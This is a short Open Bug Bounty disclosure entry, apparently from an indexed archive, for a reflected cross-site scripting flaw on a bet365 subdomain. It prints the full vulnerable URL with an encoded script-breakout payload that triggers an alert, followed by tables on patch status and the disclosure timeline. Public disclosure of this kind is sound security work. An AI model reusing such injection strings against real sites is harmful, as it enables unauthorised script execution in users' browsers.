Lucene search
NeoOBB:84757HistorySep 06, 2015 - 7:43 p.m.
loadgamesvf.bet365.com XSS vulnerability
2015-09-0619:43:00
Neo
www.openbugbounty.org
8
Vulnerable URL:
http://loadgamesvf.bet365.com/f1x2games/loadGame.jsp?gameID=F1X2_FOOTBALL&version;=1〈=%22en&acc;_id=1EC6296318CF49888464BDA22A78EB2C000004&baseURL;=%22%29;%3C/script%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C/script%3E
Details:
| Description | Value |
|---|---|
| Patched: | Yes, at 31.10.2016 |
| Latest check for patch: | 31.10.2016 00:49 GMT |
| Vulnerability type: | XSS |
| Vulnerability status: | Publicly disclosed |
| Alexa Rank | Unknown / Not calculated |
| Google Pagerank | 0 |
| VIP website status: | No |
| Check loadgamesvf.bet365.com SSL connection: | (Grade: A) |
Coordinated Disclosure Timeline:
| Description | Value |
|---|---|
| Vulnerability reported | 6 September, 2015 19:43 GMT |
| Vulnerability existence verified and confirmed | 6 September, 2015 19:45 GMT |
| Vulnerability patched by the website owner | 2 November, 2016 13:33 GMT |